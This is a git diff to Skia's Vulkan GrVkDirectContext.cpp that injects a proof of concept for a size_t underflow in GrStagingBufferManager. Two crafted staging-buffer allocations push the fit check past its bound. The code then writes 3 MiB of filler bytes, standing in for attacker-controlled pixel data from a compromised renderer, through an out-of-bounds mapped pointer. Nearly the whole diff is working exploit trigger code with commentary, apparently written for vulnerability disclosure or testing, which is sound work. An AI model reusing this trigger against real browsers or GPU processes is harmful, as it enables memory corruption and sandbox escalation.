diff --git a/third_party/skia/src/gpu/ganesh/vk/GrVkDirectContext.cpp b/third_party/skia/src/gpu/ganesh/vk/GrVkDirectContext.cpp index 2f296ffbea..d388b7d841 100644 --- a/third_party/skia/src/gpu/ganesh/vk/GrVkDirectContext.cpp +++ b/third_party/skia/src/gpu/ganesh/vk/GrVkDirectContext.cpp @@ -15,6 +15,17 @@ #include "src/gpu/ganesh/vk/GrVkContextThreadSafeProxy.h" #include "src/gpu/ganesh/vk/GrVkGpu.h" +// === POC injection: GrStagingBufferManager size_t underflow === +// Simulates two consecutive WritePixelsINTERNAL uploads from a compromised +// renderer on a Vulkan driver that exposes VK_FORMAT_R8G8B8_UNORM (alignment=12 +// path). SwiftShader does not expose that format, so the upload path cannot be +// reached organically here; instead we drive the same staging-buffer calls +// directly to demonstrate the OOB write. +#include +#include +#include "src/gpu/ganesh/GrGpuBuffer.h" +#include "src/gpu/ganesh/GrStagingBufferManager.h" + namespace GrDirectContexts { sk_sp MakeVulkan(const skgpu::VulkanBackendContext& backendContext) { GrContextOptions defaultOptions; @@ -32,6 +43,66 @@ sk_sp MakeVulkan(const skgpu::VulkanBackendContext& backendCont return nullptr; } + // === POC injection: GrStagingBufferManager size_t underflow === + { + fprintf(stderr, + "[POC] Ganesh-Vulkan GrDirectContext ready; driving " + "GrStagingBufferManager underflow\n"); + GrVkGpu* gpu = static_cast(direct->priv().getGpu()); + GrStagingBufferManager* sbm = gpu->stagingBufferManager(); + + // Upload #1: 257x255 kAlpha_8 -> bpp=1 -> alignment=4, size=65535. + // Fresh pool: createBuffer bins max(65535, 65536) -> 65536 bytes. + // After this call, fBuffers[0].fOffset = 65535 (one byte left). + const size_t kFirstSize = 257 * 255; // 65535 + GrStagingBufferManager::Slice s1 = + sbm->allocateStagingBufferSlice(kFirstSize, /*requiredAlignment=*/4); + fprintf(stderr, + "[POC] slice1: buffer=%p size=%zu fOffset=%zu mapPtr=%p\n", + s1.fBuffer, + s1.fBuffer ? s1.fBuffer->size() : (size_t)0, + s1.fOffset, s1.fOffsetMapPtr); + + // Upload #2: 1024x1024 kRGB_888x via VK_FORMAT_R8G8B8_UNORM -> + // bpp=3 -> alignment=12, size=W*H*3. + // currentOffset=65535, roundUp(65535, 12)=65544 > 65536. + // (65536 - 65544) underflows to ~SIZE_MAX, fit-check passes. + const size_t kSecondSize = 1024 * 1024 * 3; // 3 MiB payload + GrStagingBufferManager::Slice s2 = + sbm->allocateStagingBufferSlice(kSecondSize, /*requiredAlignment=*/12); + fprintf(stderr, + "[POC] slice2: buffer=%p size=%zu fOffset=%zu (delta from " + "mapBase=%td) mapPtr=%p\n", + s2.fBuffer, + s2.fBuffer ? s2.fBuffer->size() : (size_t)0, + s2.fOffset, + (s1.fBuffer == s2.fBuffer && s1.fOffsetMapPtr && s2.fOffsetMapPtr) + ? (static_cast(s2.fOffsetMapPtr) - + (static_cast(s1.fOffsetMapPtr) - s1.fOffset)) + : (ptrdiff_t)-1, + s2.fOffsetMapPtr); + + if (s2.fOffsetMapPtr && + s2.fBuffer == s1.fBuffer && + s2.fOffset > s2.fBuffer->size()) { + fprintf(stderr, + "[POC] UNDERFLOW CONFIRMED: slice2.fOffset=%zu > buffer " + "size=%zu. Writing %zu attacker-controlled bytes to OOB " + "pointer (this is the SkRectMemcpy at GrVkGpu.cpp:996).\n", + s2.fOffset, s2.fBuffer->size(), kSecondSize); + // This memset stands in for the SkRectMemcpy of attacker-supplied + // pixel data in GrVkGpu::uploadTexDataOptimal. + memset(s2.fOffsetMapPtr, 0x41, kSecondSize); + fprintf(stderr, "[POC] memset returned (no ASAN trap?)\n"); + } else { + fprintf(stderr, + "[POC] underflow not observed (different buffer or " + "no overflow); s1.buf=%p s2.buf=%p\n", + s1.fBuffer, s2.fBuffer); + } + } + // === end POC injection === + return direct; } } // namespace GrDirectContexts